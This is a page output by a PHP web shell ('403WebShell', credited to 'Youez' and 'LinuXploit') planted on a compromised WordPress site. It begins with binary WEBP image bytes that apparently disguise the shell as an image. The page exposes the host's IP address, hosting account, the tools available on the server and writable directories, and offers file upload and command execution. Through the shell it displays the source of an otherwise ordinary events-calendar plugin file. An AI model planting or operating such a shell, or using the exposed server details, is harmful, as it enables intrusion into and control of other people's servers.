....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îŠ‡y’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒwŽ¼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9u鶳ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•â•ªVêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•î¦ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄÍ°L–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýc塶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ŠBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊƃZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 51.91.236.193  /  Your IP : 216.73.216.177
Web Server : Apache
System : Linux webm019.cluster128.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : thillelirn ( 8290)
PHP Version : 8.0.30
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/thillelirn/www/wp-content/plugins/modern-events-calendar-lite/app/features/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /home/thillelirn/www/wp-content/plugins/modern-events-calendar-lite/app/features//dlfile.php
<?php
/** no direct access **/
defined('MECEXEC') or die();

/**
 * Webnus MEC Downloadable File class.
 * @author Webnus <info@webnus.biz>
 */
class MEC_feature_dlfile extends MEC_base
{
    public $factory;
    public $main;
    public $settings;

    /**
     * Constructor method
     * @author Webnus <info@webnus.biz>
     */
    public function __construct()
    {
        // Import MEC Factory
        $this->factory = $this->getFactory();

        // Import MEC Main
        $this->main = $this->getMain();
        
        // MEC Settings
        $this->settings = $this->main->get_settings();
    }
    
    /**
     * Initialize locations feature
     * @author Webnus <info@webnus.biz>
     */
    public function init()
    {
        // Booking Status
        $booking_status = (isset($this->settings['booking_status']) and $this->settings['booking_status']) ? true : false;

        // Booking Download Status
        $booking_download = (isset($this->settings['downloadable_file_status']) and $this->settings['downloadable_file_status']);

        // Public Download Module
        $public_download_module = (isset($this->settings['public_download_module']) and $this->settings['public_download_module']);

        // Booking download is enabled
        if($booking_status and $booking_download)
        {
            // Metabox
            $this->factory->action('mec_metabox_booking', array($this, 'meta_box_downloadable_file'), 17);

            // Downloadable File for FES
            if(!isset($this->settings['fes_section_downloadable_file']) or (isset($this->settings['fes_section_downloadable_file']) and $this->settings['fes_section_downloadable_file'])) $this->factory->action('mec_fes_metabox_details', array($this, 'meta_box_downloadable_file'), 47);

            // AJAX
            $this->factory->action('wp_ajax_mec_downloadable_file_upload', array($this, 'upload'));
        }

        // Public Download Module is enabled
        if($public_download_module)
        {
            // Metabox
            $this->factory->action('mec_metabox_details', array($this, 'meta_box_public_module'), 18);

            // Downloadable File for FES
            if(!isset($this->settings['fes_section_public_download_module']) or (isset($this->settings['fes_section_public_download_module']) and $this->settings['fes_section_public_download_module'])) $this->factory->action('mec_fes_metabox_details', array($this, 'meta_box_public_module'), 32);

            // AJAX
            $this->factory->action('wp_ajax_mec_public_download_module_file_upload', array($this, 'public_download_module_upload'));
        }
    }

    /**
     * Show downloadable file of event into the Add/Edit event page
     *
     * @author Webnus <info@webnus.biz>
     * @param object $post
     */
    public function meta_box_downloadable_file($post)
    {
        // Disable For Guest
        if(!get_current_user_id()) return;

        $file_id = get_post_meta($post->ID, 'mec_dl_file', true);
        if(trim($file_id) == '') $file_id = '';

        $file_url = $file_id ? wp_get_attachment_url($file_id) : '';
        ?>
        <script>
        jQuery(document).ready(function()
        {
            jQuery("#mec_downloadable_file_uploader").on('change', function()
            {
                var fd = new FormData();
                fd.append("action", "mec_downloadable_file_upload");
                fd.append("_wpnonce", "<?php echo wp_create_nonce('mec_downloadable_file_upload'); ?>");
                fd.append("file", jQuery("#mec_downloadable_file_uploader").prop("files")[0]);

                jQuery("#mec_downloadable_file_error").html("").addClass("mec-util-hidden");
                jQuery.ajax(
                {
                    url: "<?php echo admin_url('admin-ajax.php', NULL); ?>",
                    type: "POST",
                    data: fd,
                    dataType: "json",
                    processData: false,
                    contentType: false
                })
                .done(function(response)
                {
                    if(response.success)
                    {
                        jQuery("#mec_downloadable_file_link").html('<a href="'+response.data.url+'" target="_blank">'+response.data.url+'</a>').removeClass("mec-util-hidden");
                        jQuery("#mec_downloadable_file").val(response.data.id);
                        jQuery("#mec_downloadable_file_remove_image_button").removeClass("mec-util-hidden");
                    }
                    else
                    {
                        jQuery("#mec_downloadable_file_error").html(response.message).removeClass("mec-util-hidden");
                    }

                    // Reset File Input
                    jQuery("#mec_downloadable_file_uploader").val('');
                });

                return false;
            });

            jQuery("#mec_downloadable_file_remove_image_button").on('click', function()
            {
                jQuery("#mec_downloadable_file_link").html('').addClass("mec-util-hidden");
                jQuery("#mec_downloadable_file").val('');
                jQuery("#mec_downloadable_file_remove_image_button").addClass("mec-util-hidden");
            });
        });
        </script>
        <div class="mec-meta-box-fields mec-booking-tab-content" id="mec-downloadable-file">
            <h4><?php esc_html_e('Downloadable File', 'modern-events-calendar-lite'); ?></h4>
            <div id="mec_meta_box_downloadable_file_options">
                <input type="hidden" id="mec_downloadable_file" name="mec[downloadable_file]" value="<?php echo esc_attr($file_id); ?>">
                <input type="file" id="mec_downloadable_file_uploader">
                <p class="description"><?php esc_html_e('pdf,zip,png,jpg and gif files are allowed.', 'modern-events-calendar-lite'); ?></p>
                <div id="mec_downloadable_file_link" class="<?php echo (trim($file_id) ? '' : 'mec-util-hidden'); ?>"><?php echo ($file_id ? '<a href="'.esc_url($file_url).'" target="_blank">'.esc_html($file_url).'</a>' : ''); ?></div>
                <button type="button" id="mec_downloadable_file_remove_image_button" class="<?php echo (trim($file_id) ? '' : 'mec-util-hidden'); ?>"><?php esc_html_e('Remove File', 'modern-events-calendar-lite'); ?></button>
                <div class="mec-error mec-util-hidden" id="mec_downloadable_file_error"></div>
            </div>
        </div>
        <?php
    }

    public function upload()
    {
        // Check if our nonce is set.
        if(!isset($_POST['_wpnonce'])) $this->main->response(array('success'=>0, 'code'=>'NONCE_MISSING'));

        // Verify that the nonce is valid.
        if(!wp_verify_nonce(sanitize_text_field($_POST['_wpnonce']), 'mec_downloadable_file_upload')) $this->main->response(array('success'=>0, 'code'=>'NONCE_IS_INVALID'));

        $uploaded_file = isset($_FILES['file']) ? $_FILES['file'] : NULL;

        // No file
        if(!$uploaded_file) $this->main->response(array('success'=>0, 'code'=>'NO_FILE', 'message'=>esc_html__('Please upload a file.', 'modern-events-calendar-lite')));

        $allowed = array('gif', 'jpeg', 'jpg', 'png', 'pdf', 'zip');

        $ex = explode('.', $uploaded_file['name']);
        $extension = end($ex);

        // Invalid Extension
        if(!in_array($extension, $allowed)) $this->main->response(array('success'=>0, 'code'=>'INVALID_EXTENSION', 'message'=>sprintf(esc_html__('File extension is invalid. You can upload %s files.', 'modern-events-calendar-lite'), implode(', ', $allowed))));

        // Maximum File Size
        $max_file_size = isset($this->settings['fes_max_file_size']) ? (int) ($this->settings['fes_max_file_size'] * 1000) : (5000 * 1000);

        // Invalid Size
        if($uploaded_file['size'] > $max_file_size) $this->main->response(array('success'=>0, 'code'=>'IMAGE_IS_TOO_BIG', 'message'=>sprintf(esc_html__('File is too big. Maximum size is %s KB.', 'modern-events-calendar-lite'), ($max_file_size / 1000))));

        // Include the functions
        if(!function_exists('wp_handle_upload'))
        {
            require_once ABSPATH.'wp-admin/includes/file.php';
            require_once(ABSPATH.'wp-admin/includes/image.php');
        }

        $upload = wp_upload_bits($uploaded_file['name'], NULL, file_get_contents($uploaded_file['tmp_name']));
        $wp_filetype = wp_check_filetype(basename($upload['file']), NULL);

        $wp_upload_dir = wp_upload_dir();
        $attachment = array(
            'guid' => $wp_upload_dir['baseurl'] . _wp_relative_upload_path($upload['file']),
            'post_mime_type' => $wp_filetype['type'],
            'post_title' => preg_replace('/\.[^.]+$/', '', basename($upload['file'])),
            'post_content' => '',
            'post_status' => 'inherit'
        );

        $attach_id = wp_insert_attachment($attachment, $upload['file']);
        wp_update_attachment_metadata($attach_id, wp_generate_attachment_metadata($attach_id, $upload['file']));

        $success = 0;
        $data = array();

        if($attach_id and (!isset($upload['error']) or (isset($upload['error']) and !$upload['error'])))
        {
            $success = 1;
            $message = esc_html__('File uploaded!', 'modern-events-calendar-lite');

            $data['url'] = $upload['url'];
            $data['id'] = $attach_id;
        }
        else
        {
            $message = $upload['error'];
        }

        $this->main->response(array('success'=>$success, 'message'=>$message, 'data'=>$data));
    }

    /**
     * Show public download module of event into the Add/Edit event page
     *
     * @author Webnus <info@webnus.biz>
     * @param object $post
     */
    public function meta_box_public_module($post)
    {
        // Disable For Guest
        if(!get_current_user_id()) return;

        $file_id = get_post_meta($post->ID, 'mec_public_dl_file', true);
        if(trim($file_id) == '') $file_id = '';

        $file_url = $file_id ? wp_get_attachment_url($file_id) : '';

        $title = get_post_meta($post->ID, 'mec_public_dl_title', true);
        $description = get_post_meta($post->ID, 'mec_public_dl_description', true);
        ?>
        <script>
        jQuery(document).ready(function()
        {
            jQuery("#mec_public_download_module_file_uploader").on('change', function()
            {
                var fd = new FormData();
                fd.append("action", "mec_public_download_module_file_upload");
                fd.append("_wpnonce", "<?php echo wp_create_nonce('mec_public_download_module_file_upload'); ?>");
                fd.append("file", jQuery("#mec_public_download_module_file_uploader").prop("files")[0]);

                jQuery("#mec_public_download_module_file_error").html("").addClass("mec-util-hidden");
                jQuery.ajax(
                {
                    url: "<?php echo admin_url('admin-ajax.php', NULL); ?>",
                    type: "POST",
                    data: fd,
                    dataType: "json",
                    processData: false,
                    contentType: false
                })
                .done(function(response)
                {
                    if(response.success)
                    {
                        jQuery("#mec_public_download_module_file_link").html('<a href="'+response.data.url+'" target="_blank">'+response.data.url+'</a>').removeClass("mec-util-hidden");
                        jQuery("#mec_public_download_module_file").val(response.data.id);
                        jQuery("#mec_public_download_module_file_remove_image_button").removeClass("mec-util-hidden");
                    }
                    else
                    {
                        jQuery("#mec_public_download_module_file_error").html(response.message).removeClass("mec-util-hidden");
                    }

                    // Reset File Input
                    jQuery("#mec_public_download_module_file_uploader").val('');
                });

                return false;
            });

            jQuery("#mec_public_download_module_file_remove_image_button").on('click', function()
            {
                jQuery("#mec_public_download_module_file_link").html('').addClass("mec-util-hidden");
                jQuery("#mec_public_download_module_file").val('');
                jQuery("#mec_public_download_module_file_remove_image_button").addClass("mec-util-hidden");
            });
        });
        </script>
        <div class="mec-meta-box-fields mec-event-tab-content" id="mec-public-download-module-file">
            <h4><?php esc_html_e('Public File to Download', 'modern-events-calendar-lite'); ?></h4>
            <div id="mec_meta_box_downloadable_file_options">
                <input type="hidden" id="mec_public_download_module_file" name="mec[public_download_module_file]" value="<?php echo esc_attr($file_id); ?>">
                <input type="file" id="mec_public_download_module_file_uploader">
                <p class="description"><?php esc_html_e('pdf,zip,png,jpg and gif files are allowed.', 'modern-events-calendar-lite'); ?></p>
                <div id="mec_public_download_module_file_link" class="<?php echo (trim($file_id) ? '' : 'mec-util-hidden'); ?>"><?php echo ($file_id ? '<a href="'.esc_url($file_url).'" target="_blank">'.esc_html($file_url).'</a>' : ''); ?></div>
                <button type="button" id="mec_public_download_module_file_remove_image_button" class="<?php echo (trim($file_id) ? '' : 'mec-util-hidden'); ?>"><?php esc_html_e('Remove File', 'modern-events-calendar-lite'); ?></button>
                <div class="mec-error mec-util-hidden" id="mec_public_download_module_file_error"></div>
            </div>
            <div class="mec-form-row" style="margin-top: 30px;">
                <label for="mec_public_download_module_title" class="mec-col-2"><?php esc_html_e('Title', 'modern-events-calendar-lite'); ?></label>
                <input class="mec-col-5" type="text" id="mec_public_download_module_title" name="mec[public_download_module_title]" value="<?php echo esc_attr($title); ?>">
            </div>
            <div class="mec-form-row">
                <label for="mec_public_download_module_description" class="mec-col-2"><?php esc_html_e('Description', 'modern-events-calendar-lite'); ?></label>
                <textarea class="mec-col-5" id="mec_public_download_module_description" name="mec[public_download_module_description]" rows="5"><?php echo esc_textarea($description); ?></textarea>
            </div>
        </div>
        <?php
    }

    public function public_download_module_upload()
    {
        // Check if our nonce is set.
        if(!isset($_POST['_wpnonce'])) $this->main->response(array('success'=>0, 'code'=>'NONCE_MISSING'));

        // Verify that the nonce is valid.
        if(!wp_verify_nonce(sanitize_text_field($_POST['_wpnonce']), 'mec_public_download_module_file_upload')) $this->main->response(array('success'=>0, 'code'=>'NONCE_IS_INVALID'));

        $uploaded_file = isset($_FILES['file']) ? $_FILES['file'] : NULL;

        // No file
        if(!$uploaded_file) $this->main->response(array('success'=>0, 'code'=>'NO_FILE', 'message'=>esc_html__('Please upload a file.', 'modern-events-calendar-lite')));

        $allowed = array('docx', 'jpeg', 'jpg', 'png', 'pdf', 'zip');

        $ex = explode('.', $uploaded_file['name']);
        $extension = end($ex);

        // Invalid Extension
        if(!in_array($extension, $allowed)) $this->main->response(array('success'=>0, 'code'=>'INVALID_EXTENSION', 'message'=>sprintf(esc_html__('File extension is invalid. You can upload %s files.', 'modern-events-calendar-lite'), implode(', ', $allowed))));

        // Maximum File Size
        $max_file_size = isset($this->settings['fes_max_file_size']) ? (int) ($this->settings['fes_max_file_size'] * 1000) : (5000 * 1000);

        // Invalid Size
        if($uploaded_file['size'] > $max_file_size) $this->main->response(array('success'=>0, 'code'=>'IMAGE_IS_TOO_BIG', 'message'=>sprintf(esc_html__('File is too big. Maximum size is %s KB.', 'modern-events-calendar-lite'), ($max_file_size / 1000))));

        // Include the functions
        if(!function_exists('wp_handle_upload'))
        {
            require_once ABSPATH.'wp-admin/includes/file.php';
            require_once(ABSPATH.'wp-admin/includes/image.php');
        }

        $upload = wp_upload_bits($uploaded_file['name'], NULL, file_get_contents($uploaded_file['tmp_name']));
        $wp_filetype = wp_check_filetype(basename($upload['file']), NULL);

        $wp_upload_dir = wp_upload_dir();
        $attachment = array(
            'guid' => $wp_upload_dir['baseurl'] . _wp_relative_upload_path($upload['file']),
            'post_mime_type' => $wp_filetype['type'],
            'post_title' => preg_replace('/\.[^.]+$/', '', basename($upload['file'])),
            'post_content' => '',
            'post_status' => 'inherit'
        );

        $attach_id = wp_insert_attachment($attachment, $upload['file']);
        wp_update_attachment_metadata($attach_id, wp_generate_attachment_metadata($attach_id, $upload['file']));

        $success = 0;
        $data = array();

        if($attach_id and (!isset($upload['error']) or (isset($upload['error']) and !$upload['error'])))
        {
            $success = 1;
            $message = esc_html__('File uploaded!', 'modern-events-calendar-lite');

            $data['url'] = $upload['url'];
            $data['id'] = $attach_id;
        }
        else
        {
            $message = $upload['error'];
        }

        $this->main->response(array('success'=>$success, 'message'=>$message, 'data'=>$data));
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit